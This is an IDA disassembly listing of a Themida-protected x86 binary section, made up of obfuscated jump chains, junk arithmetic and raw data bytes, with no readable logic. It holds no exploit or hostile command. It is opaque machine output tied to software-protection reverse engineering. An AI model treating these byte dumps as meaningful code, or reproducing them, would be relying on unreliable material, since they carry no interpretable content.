loc_573A36:				; CODE XREF: Themida_:0056832Fj
		push	ecx
		mov	ecx, 5DC17F73h
		jmp	loc_572BBF
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 7Fh
		dd 0EA81661Eh, 3BE95633h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573A4F:				; CODE XREF: Themida_:005727F4j
		mov	edi, 0F367C1C4h
		xor	ebp, edi
		jmp	loc_568256
; ---------------------------------------------------------------------------
		db 59h
		dd 81FFC383h, 0F299F8C3h, 70B951D3h, 0F765A752h, 0CB2AE9D1h
		dd 815FFFFFh, 4C4h, 95E95100h
		db 0D3h, 2 dup(0FFh)
byte_573A7F	db 0ADh			; DATA XREF: Themida_:0055FD3Co
		dd 0D715BA2Dh, 34DD6836h, 0B2E90000h
		db 0F6h, 0FEh, 0FFh
byte_573A8F	db 0FFh			; DATA XREF: Themida_:0055FF14o
		dd 589D1C77h, 9C240419h, 0FFC0A6E9h, 0A0B951FFh, 0E90DBE21h
		dd 0FFFFDFEDh
; ---------------------------------------------------------------------------


loc_573AA8:				; CODE XREF: Themida_:0056C4FAj
		pop	edx
		sub	esi, 93358485h
		xor	esi, 3E15082Fh
		mov	eax, esi
		pop	esi
		add	ebp, eax
		jmp	loc_56C824
; ---------------------------------------------------------------------------
		db 0D1h
		dd 385E9E6h, 8C680000h,	89000037h, 0BA52242Ch, 4FCD155Ah
		dd 66EEB951h, 0E9814112h, 33E708ECh, 0F181D1F7h, 72603186h
		dd 459CF181h, 0E1C17813h, 47C18103h, 9916A7Dh, 240C8BCAh
		dd 5704C483h, 0B81C25BFh, 4FD7F754h, 0B483F781h, 0FA098C48h
		dd 0D7C2815Fh, 89FFFDABh, 24148BD5h, 4C481h, 0FFE90000h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573B27:				; CODE XREF: Themida_:0056CB50j
		push	ebx
		mov	ebx, esp
		jmp	loc_56C0F3
; ---------------------------------------------------------------------------


loc_573B2F:				; CODE XREF: Themida_:0056AC52j
		add	esi, ebp
		pop	ebp
		add	edx, 32C634C1h
		add	edx, esi
		sub	edx, 32C634C1h
		pop	esi
		sub	esp, 4
		jmp	loc_56361A
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 78h
		dd 0E94D3D46h, 0FFFF258Dh, 0B3241C89h, 0DDC38006h, 0DA885266h
		dd 0F6D38853h, 0E95250D3h, 0FFFF7008h
; ---------------------------------------------------------------------------


loc_573B6C:				; CODE XREF: Themida_:0056CDF9j
		xor	ebx, [esp]
		jmp	loc_56CE1F
; ---------------------------------------------------------------------------


loc_573B74:				; CODE XREF: Themida_:005609A7j
		sub	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5712E2
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 58h
		dd 8B871488h, 0C4832414h, 2434FF04h, 0EC81535Bh, 4, 53242489h
		dd 4BBh, 245C0100h, 36E95B04h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573BA7:				; CODE XREF: Themida_:0056A996j
		mov	eax, 602136B5h
		xor	eax, 25A105FBh
		and	eax, 1E286968h
		shr	eax, 8
		neg	eax
		sub	eax, 5757710Ah
		sub	eax, 0A8A48ED1h
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_56A4E2
; ---------------------------------------------------------------------------


loc_573BDD:				; CODE XREF: Themida_:00569B48j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56BDB1
; ---------------------------------------------------------------------------
		dd 56241C8Bh, 2468E689h, 89000048h, 0B6B9240Ch,	8111C613h
		dd 863032C1h, 4E91E92Ch, 75B3FFFFh, 88E9FD04h, 81FFFF0Fh
		dd 0D8042444h, 0E963DB75h, 5A1h
; ---------------------------------------------------------------------------


loc_573C20:				; CODE XREF: Themida_:0056642Cj
		sub	esi, 34D0C3B2h
		jmp	loc_562017
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 4C5815Ch
		dd 55000000h, 42474FFh,	24048F5Dh, 8124248Bh, 4C5h, 9F3FE900h
		dd 8966FFFFh, 0B8662404h, 97E924D1h
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573C6B:				; CODE XREF: Themida_:005735D5j
		mov	esi, [esp]
		add	esp, 4
		shl	edx, 7
		xor	edx, 950E9204h
		add	eax, edx
		jmp	loc_570129
; ---------------------------------------------------------------------------
		dd 0B7559F68h, 0D9295B16h, 0E9018B5Bh, 0FFFFB670h, 9C243CD3h
		dd 0FEC302E9h, 0BEE948FFh, 80FFFF0Ah, 5266A1E7h, 9FE95366h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573CAF:				; CODE XREF: Themida_:00567AA8j
		inc	ebp
		add	ebp, 26D9155h
		jmp	loc_56E2A6
; ---------------------------------------------------------------------------
		db 89h
		dd 0DCE9240Ch
		db 0C2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573CC3:				; CODE XREF: Themida_:0056B5DBj
		not	ch
		sub	esp, 2
		jmp	loc_5681BD
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 8
		dd 6E85F181h, 0D9F757ABh, 7459F181h, 0CB018EEEh, 0FFE630E9h
		dd 4BF57FFh, 29000000h,	34875FFEh, 89E95C24h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573CF7:				; CODE XREF: Themida_:00563EA5j
		mov	edi, 5F664342h
		push	ebp
		mov	ebp, 77AE047Dh
		jmp	loc_56878A
; ---------------------------------------------------------------------------


loc_573D07:				; CODE XREF: Themida_:0056B132j
		add	ecx, edx
		jmp	loc_56424E
; ---------------------------------------------------------------------------


loc_573D0E:				; CODE XREF: Themida_:00569595j
		mov	edx, 983B2021h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 7FF950FDh
		jmp	loc_5693C4
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0FFFF0802h
; ---------------------------------------------------------------------------


loc_573D30:				; CODE XREF: Themida_:0056F2EBj
		mov	edx, 76CF2AD7h
		shr	edx, 3
		inc	edx
		inc	edx
		add	edx, 4B6A3C13h
		mov	ebp, edx
		pop	edx
		sub	ebp, 5A44216Bh
		sub	ebx, 502F1CDEh
		sub	ebx, 1D4275CDh
		sub	ebx, 499E6BF9h
		jmp	loc_56F26D
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 3101E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573D6E:				; CODE XREF: Themida_:00568DADj
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56A8C2
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 6
		dd 51FFFF8Dh, 0C181E189h, 4, 0E904E983h, 0FFFF5180h
dword_573D90	dd 0E9028F64h, 0FFFEC207h, 3BA5257h, 4A760F5Fh,	0FAC2EA81h
					; DATA XREF: Themida_:0055FE00o
		dd 0D7896959h, 8BFD295Ah, 0C481243Ch, 4, 21296858h, 2C890000h
		dd 2474FF24h, 48F5D04h,	83EFE924h, 565DFFFFh, 1BEh, 5EF00100h
		dd 627E222Dh, 8C4E2D74h, 5E508CB0h, 5124048Bh, 0FF2FB6E9h
		dd 81D301FFh, 52660DEBh, 0BEE95A3Eh, 5800000Ch,	8359C809h
		dd 8C25FFC0h, 2D17D239h, 1, 0CDBD5551h,	0B94FD731h, 0C55FD508h
		dd 15DE901h, 0FA24E9C8h, 5854FFFEh, 1161E9h, 81D73100h
		dd 5D70C6C7h, 27EF8123h, 813501E3h, 6729C1EDh, 81FD2973h
		dd 6729C1C5h, 0EF015F73h, 0A0E9575Dh, 81FFFF88h, 0D00DEC6h
		dd 0E9F50172h, 0FFFF727Ch, 8BD0005Ch, 0C4832414h, 0D38E904h
		dd 81580000h, 0DC1E3ECBh, 2DF38177h, 8768804Eh,	0E9D1F7CBh
		dd 0FFFF0B69h
; ---------------------------------------------------------------------------


loc_573E7C:				; CODE XREF: Themida_:00560D11j
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56FEF4
; ---------------------------------------------------------------------------


loc_573E92:				; CODE XREF: Themida_:0056AED9j
		xor	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_570135
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 0FFA30BE9h, 48F5CFFh, 0D600E924h,	5550FFFEh
		dd 621E44BDh, 0BF575217h, 65C056D3h, 0FF19BDE9h, 3EE957FFh
		db 0C5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573ECF:				; CODE XREF: Themida_:005626FEj
		pop	ebx
		sub	ebx, 0A265D2Ah
		sub	ebx, edx
		add	ebx, 0A265D2Ah
		pop	edx
		jmp	loc_56EF77
; ---------------------------------------------------------------------------
		dd 7422EF81h, 0F7014FE1h, 7422C781h, 0EF814FE1h, 2E0F2F9Eh
		dd 41D9EF81h, 0C7813365h, 2990437Bh, 0FF5869E9h, 4E0C1FFh
		dd 0A5BA5240h, 8129B729h, 0C8262FEAh, 18EA8136h, 0C178C102h
		dd 87E908E2h, 8B000010h, 0C481240Ch, 4,	4EC81h,	3C890000h
		dd 0CABD5524h, 8165491Eh, 6C57A3C5h, 0DE53E946h, 0C531FFFEh
		dd 5DEA3158h, 0FFEE11E9h, 59CF89FFh, 0AAC781h, 0DFF72353h
		dd 0E7C1D7F7h, 7568E905h, 1489FFFFh, 63CCE924h,	5159FFFFh
		dd 392678B9h, 59C8293Fh, 7805E801h, 5D3F3926h, 0FED916E9h
		dd 1E981FFh, 81000000h,	1008B8E1h, 49E1D146h, 0FEFC44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573F9D:				; CODE XREF: Themida_:0056CA56j
		push	esi
		push	ebx
		add	dword ptr [esp], 5E357C1Eh
		jmp	loc_560A03
; ---------------------------------------------------------------------------


loc_573FAB:				; CODE XREF: Themida_:005633A7j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56175C
; ---------------------------------------------------------------------------
		dd 657DF00Dh, 50713538h, 0D2252C9Ch, 0E9057967h, 0FFFF7E2Bh
		dd 575BDF31h, 0F025F2BFh, 0C7814739h, 188969BEh, 0E952DFF7h
		dd 0FFFEDC59h
; ---------------------------------------------------------------------------


loc_573FEC:				; CODE XREF: Themida_:0056773Aj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_572988
; ---------------------------------------------------------------------------
dword_574000	dd 240C8B66h, 0E9E08950h, 0FFFF10D6h, 0F9242C80h, 8324148Ah
					; DATA XREF: Themida_:0055FD9Co
		dd 7DE902C4h, 1FFFEE4h,	5822DE8h, 2C8B2970h, 4EC8324h
		dd 0FF3245E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57402D:				; CODE XREF: Themida_:0056FD0Aj
		add	esp, 4
		push	edi
		jmp	loc_57152D
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 4AAC2E92h, 0E95DEE29h, 0FFFF13DDh
; ---------------------------------------------------------------------------


loc_574048:				; CODE XREF: Themida_:005612FBj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	32E2h
		mov	[esp], esi
		mov	esi, 67395344h
		jmp	loc_561541
; ---------------------------------------------------------------------------
aYbxa_bBa?txh	db 'Yå€.B',0Bh,'í¿?tXh',0
		align 4
		dd 0AA240481h, 0E916887Ch, 5EAh
; ---------------------------------------------------------------------------


loc_574088:				; CODE XREF: Themida_:0056EF83j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_562EEF
		push	1
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5609EA
; ---------------------------------------------------------------------------
		dd 44A9E781h, 0C7817C5Fh, 2E470A77h, 0FF11B4E9h, 5DEE21FFh
		dd 5927C681h, 0EEC142D9h, 7FEE8103h, 0C1F712B8h, 4E4E05EEh
		dd 140168h, 24148900h, 1F6041BAh, 3AE2812Ch, 812EA31Fh
		dd 0CDF240C2h, 6115E9E1h
		db 2 dup(0FFh)
word_5740F2	dw 8F66h		; DATA XREF: Themida_:0055FF54o
		dd 0BEA5E902h, 685DFFFEh, 296h,	0B9240C89h, 5DBD2155h
		dd 0FABFE981h, 39E90770h
		db 0D7h, 2 dup(0FFh)
byte_574113	db 66h			; DATA XREF: Themida_:0055FCC4o
		dd 6824048Bh, 5CDh, 54240C89h, 0E92434FFh, 0FFFF6080h
		dd 0A9E9C301h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57412F:				; CODE XREF: Themida_:00567060j
		not	esi
		xor	esi, 252D30A7h
		sub	esi, 0D30D8743h
		jmp	loc_567147
; ---------------------------------------------------------------------------
		dw 4545h
		dd 2414F755h, 7E5C15Dh,	6969C581h, 3DE91664h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574157:				; CODE XREF: Themida_:0056AD40j
		sub	ecx, 3070C27h
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 3
		push	edi
		mov	edi, 77DB7115h
		xor	edi, 38FC116Fh
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0C037E8FFh
		jmp	loc_5726EB
; ---------------------------------------------------------------------------


loc_574185:				; CODE XREF: Themida_:0056E91Bj
		add	ecx, 347B100Dh
		add	ecx, edi
		sub	ecx, 347B100Dh
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5749C3
		push	dword ptr [edi+1Ch]
		jmp	loc_56646D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FF7E3FE9h, 241487FFh, 5BD9095Ch, 113BC181h,	6E9B04Eh
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5741DB:				; CODE XREF: Themida_:0056A011j
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_57482B
; ---------------------------------------------------------------------------
		dd 4C581h, 0BE560000h, 42B13E12h, 7B81CE81h, 0E94E46F8h
		dd 0FFFF6138h, 0C912E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574206:				; CODE XREF: Themida_:00569653j
		sub	esi, 0BD08E2E4h
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 3B262869h
		neg	edx
		push	eax
		mov	eax, 3AD56995h
		xor	eax, 2CDC6AAEh
		add	edx, eax
		jmp	loc_56E202
; ---------------------------------------------------------------------------
byte_574229	db 0ACh, 2Ch, 0EAh	; DATA XREF: Themida_:0055FF44o
		dd 0FECE92E9h, 6EE981FFh, 81413273h, 0CF052AC1h, 0BF575811h
		dd 4EB60D73h, 0FEE5F0E9h, 0A7BE56FFh, 89494471h, 0EA815EF2h
		dd 494471A3h, 85E9D301h, 8300000Dh, 8B042404h, 0C483240Ch
		dd 0BCE95504h, 8BFFFF3Eh, 7682424h, 89000031h, 8A68241Ch
		dd 89000053h, 59E9243Ch
		db 0F0h, 0FEh, 0FFh
byte_574287	db 0FFh			; DATA XREF: Themida_:0055FDB0o
		dd 48B2434h, 0A91CE924h, 0E189FFFFh, 4C181h, 0C1830000h
		dd 240C8704h, 0B24248Bh, 19840FC0h, 55FFFED2h, 0FEBFC5E9h
		dd 3BB368FFh, 62E90000h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5742BB:				; CODE XREF: Themida_:00562607j
		add	esp, 4
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 7Eh
		shl	ah, 4
		push	ebx
		mov	bl, 7Ah
		jmp	loc_57002C
; ---------------------------------------------------------------------------


loc_5742D7:				; CODE XREF: Themida_:0056A450j
		push	dword ptr [esp]
		jmp	loc_5725D0
; ---------------------------------------------------------------------------
		db 81h
		dd 9B7FA6EEh, 4EC83B2h,	0FF660BE9h, 4BF57FFh, 1000000h
		dd 4875FF8h, 0C8005C24h, 0E9240C8Bh, 0FFFF08C1h
; ---------------------------------------------------------------------------


loc_574304:				; CODE XREF: Themida_:0057035Bj
		sub	esp, 4
		jmp	loc_56564B
; ---------------------------------------------------------------------------
		dd 24248966h, 0FF675CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574315:				; CODE XREF: Themida_:0057348Cj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_562212
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 0FF9D45E9h, 96E95FFFh, 29FFFFDBh, 42E959CEh,	0FFFFFF0Eh
		dd 34FF2434h, 2434FF24h, 4C48158h, 50000000h, 10CCE9h
		dd 5AC58100h, 0E9626643h, 0FFFF0482h, 61FABE56h, 0F001682Dh
		dd 52515A5Eh, 0FF550FBAh, 0C2814A01h, 2A365281h, 5395EA81h
		dd 575565B0h, 9B037868h, 0AA81E943h, 6C81FFFFh,	75D80424h
		dd 442963DBh, 6CE90424h, 8BFFFFF8h, 0FD882424h,	81241C8Bh
		dd 4C4h, 4CED8000h, 0BDE9E800h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5743BF:				; CODE XREF: Themida_:005723E5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_570CAD
; ---------------------------------------------------------------------------


loc_5743C8:				; CODE XREF: Themida_:0056414Cj
		pop	ecx
		add	esp, 4
		pop	esi
		push	eax
		jmp	loc_565F66
; ---------------------------------------------------------------------------
		db 68h
		dd 395Bh, 0BD242C89h, 31D42B4Bh, 3C21ED81h, 7CE92F85h
		dd 8BFFFED3h, 0ACE92424h
		db 0BBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5743F3:				; CODE XREF: Themida_:0056C8C9j
		pop	dword ptr [esp]
		jmp	loc_5617BF
; ---------------------------------------------------------------------------


loc_5743FB:				; CODE XREF: Themida_:005628A8j
		add	ebp, 43071AE0h
		add	ebp, 0F68FD223h
		add	esi, ebp
		pop	ebp
		add	ebp, esi
		pop	esi
		jmp	loc_5750DE
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 6D13EB81h, 3C8B371Bh, 4C48324h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0F66F9F6h, 6866CCB6h, 89666E0Ch, 0F66240Ch
		dd 5166C8B6h, 0BB59E99Ch, 348BFFFEh, 751CE924h,	0BA68FFFFh
		dd 89000073h, 5954240Ch, 4EC81h, 14890000h, 4BA24h, 0E9810000h
		dd 453474C5h, 61ABBA52h, 72E9582Ch
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574477:				; CODE XREF: Themida_:00568E32j
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_56CA20
; ---------------------------------------------------------------------------


loc_574481:				; CODE XREF: Themida_:005693F6j
		add	ebp, 4
		push	esi
		jmp	loc_56002E
; ---------------------------------------------------------------------------


loc_57448D:				; CODE XREF: Themida_:0056BA0Dj
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_574499:				; CODE XREF: Themida_:005602F7j
		mov	[esp], edx
		mov	edx, 63AA1D43h
		dec	edx
		inc	edx
		push	eax
		jmp	loc_567D5C
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 3C895C24h, 3C8B5424h, 0EC835524h
		dd 24248904h, 4240481h,	5D000000h, 4C581h, 65680000h, 89000063h
		dd 0E956240Ch, 0FFFF5EFDh, 0E6E9934Bh
		db 0C2h, 0FEh, 0FFh
byte_574503	db 66h			; DATA XREF: Themida_:0055FEE8o
		dd 83240C8Bh, 1C8904ECh, 81E38924h, 4C3h, 0AB36E900h, 0B868FFFFh
		dd 89000016h, 9BB5240Ch, 0E9F6EA80h, 0FFFF2E2Ch, 77C0EA81h
		dd 0B8501813h, 35D12159h, 222DD8F7h, 14F7FACh, 1C8B58C2h
		dd 4C48324h, 2BB53h, 0DA010000h, 74FF525Bh, 148B0424h
		dd 0D8FBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57455E:				; CODE XREF: Themida_:0056E30Bj
		add	dword ptr [esp+4], 63D85901h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 63D85901h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_571003
; ---------------------------------------------------------------------------


loc_57457B:				; CODE XREF: Themida_:00560CA7j
		pop	esp
		push	edx
		push	4
		pop	edx
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	3D46h
		jmp	loc_56EB7E
; ---------------------------------------------------------------------------


loc_574593:				; CODE XREF: Themida_:00572A34j
		mov	esi, 1
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 24h
		push	eax
		push	eax
		mov	eax, 1CE46C0Ah
		sub	[esp+4], eax
		pop	eax
		jmp	loc_560D16
; ---------------------------------------------------------------------------
byte_5745B5	db 0ACh, 0E9h, 9Dh	; DATA XREF: Themida_:0055FD28o
		db 0C4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5745BB:				; CODE XREF: Themida_:00571815j
		push	eax
		jmp	loc_56D8FE
; ---------------------------------------------------------------------------


loc_5745C1:				; CODE XREF: Themida_:005664C2j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56BB59
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D8002424h, 241C8B66h, 0FECD39E9h, 2474FFFFh, 48F5A04h
		dd 4E7DE924h, 1C8BFFFFh, 0E296E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5745F2:				; CODE XREF: Themida_:00573940j
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_574C3A
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 79EDE924h, 3B05FFFFh, 89B550F0h, 814D58C5h, 1EDh, 0D0F79500h
		dd 3C58195h, 1419D8Dh, 0EA815DEAh, 6B1D33D1h, 0FEF1DFE9h
		dd 80CBFEFFh, 5166E1CBh, 0D5F6DD88h, 5966EB88h,	0DA30D386h
		dd 0DA30D330h, 0DA86DBF6h, 8150D386h, 4ECh, 0D3DDE900h
		dd 0E955FFFEh, 0FFFFAE3Ch, 1C8BD901h, 4C48324h,	2B850h
		dd 0C1010000h, 0CC88E958h, 2C29FFFFh, 242C8124h, 16887CAAh
		dd 5D2434FFh, 0F704C483h, 0BEED81D5h, 1B2CDC8h
		db 0E8h, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56C8B0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 34815150h, 0B90CE224h, 0E2355812h, 5012B90Ch
		dd 0A0B3E95Ah, 0C481FFFFh, 4, 8324048Bh, 0C78104C4h, 5BF202DCh
		dd 486AEF81h, 5DE967A0h, 51FFFF03h, 0FF460AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5746E1:				; CODE XREF: Themida_:0056799Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_566D7E
; ---------------------------------------------------------------------------


loc_5746FC:				; CODE XREF: Themida_:005628DAj
		pop	eax
		inc	ebp
		push	edx
		mov	edx, 46B83A15h
		add	ebp, edx
		pop	edx
		add	esi, ebp
		jmp	loc_560E29
; ---------------------------------------------------------------------------


loc_57470E:				; CODE XREF: Themida_:0056AEB2j
		shl	ebp, 2
		jmp	loc_566B26
; ---------------------------------------------------------------------------


loc_574716:				; CODE XREF: Themida_:0056F3F4j
		pop	edi
		jmp	loc_567CD4
; ---------------------------------------------------------------------------
		dd 15B5685Eh, 65E90000h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574727:				; CODE XREF: Themida_:0056956Dj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_560ED3
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 4F2F1C7Ch, 6392EF81h, 6CE9054Ch
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57474B:				; CODE XREF: Themida_:0056BBA6j
		pop	esp
		jmp	loc_569587
; ---------------------------------------------------------------------------


loc_574751:				; CODE XREF: Themida_:00563B39j
		shl	edx, 7
		or	edx, 64BD0A2Eh
		jmp	loc_5679E8
; ---------------------------------------------------------------------------


loc_57475F:				; CODE XREF: Themida_:00564B06j
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5707DC
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 0FBF1E98Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57477E:				; CODE XREF: Themida_:00560033j
		and	esi, 67C07647h
		shr	esi, 2
		jmp	loc_560C91
; ---------------------------------------------------------------------------


loc_57478C:				; CODE XREF: Themida_:005661A9j
		mov	edi, [esp]
		jmp	loc_56A065
; ---------------------------------------------------------------------------
		dd 116E957h, 0BA52FFFFh, 9290864h, 0FF4564E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5747A5:				; CODE XREF: Themida_:0056E82Cj
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_565AF6
; ---------------------------------------------------------------------------
byte_5747AF	db 68h			; DATA XREF: Themida_:0055FD70o
		dd 67AFh, 57240489h, 0D942E668h, 2434FF5Dh, 8B68565Fh
		dd 0E9000026h, 0FFFF0019h, 345D6850h, 67E95C30h
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5747D7:				; CODE XREF: Themida_:00568F41j
		sub	esp, 4
		jmp	loc_564A68
; ---------------------------------------------------------------------------


loc_5747E2:				; CODE XREF: Themida_:0056BC7Cj
		xor	edx, 259Eh
		sub	edi, 6EC3756Fh
		jmp	loc_562CE9
; ---------------------------------------------------------------------------


loc_5747F3:				; CODE XREF: Themida_:0056A68Bj
		not	ecx
		jmp	loc_567234
; ---------------------------------------------------------------------------
word_5747FA	dw 8B66h		; DATA XREF: Themida_:0055FF30o
		dd 83502404h, 8F5404ECh, 0BA522404h, 4,	4245401h, 8950585Ah
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 2FE9240Ch
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57482B:				; CODE XREF: Themida_:005741E3j
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_562DFA
; ---------------------------------------------------------------------------
		db 0B1h, 98h, 50h
		dd 0E0C0EDB0h, 1B61E903h, 5350FFFFh, 0FF4A62E9h, 0DDF581FFh
		dd 81552162h, 9813BCF5h, 0F47DE971h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57485E:				; CODE XREF: Themida_:00565792j
		push	ecx
		push	edx
		jmp	loc_56BB98
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 3FE95B54h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57486F:				; CODE XREF: Themida_:00567C31j
		push	20BBh
		mov	[esp], edx
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 476B6519h
		mov	ebp, 2256A686h
		add	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		jmp	loc_56C872
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 0FF98C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5748A1:				; CODE XREF: Themida_:00564C21j
		pop	edx
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	edx, 2
		jmp	loc_5627B8
; ---------------------------------------------------------------------------


loc_5748B2:				; CODE XREF: Themida_:00565AF9j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0CBh
		shr	cl, 1
		shl	cl, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_56502B
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 5Dh
		dd 6DD7C781h, 0F7292AF2h, 6DD7EF81h, 0BE562AF2h, 46381155h
		dd 5980B850h, 85E9086Bh, 59FFFF20h, 24048B5Ah, 0E904C483h
		dd 0FFFF81B2h, 4C3815Ah, 53000000h, 42474FFh, 24048F5Bh
		dd 3124248Bh, 0FF685BD8h, 8900007Eh, 0EFE9243Ch
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57493F:				; CODE XREF: Themida_:00571C0Bj
		mov	ebx, 24h
		jmp	loc_56EFF9
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 3AB5240Ch, 510268h, 24148900h, 0F2E96AB6h
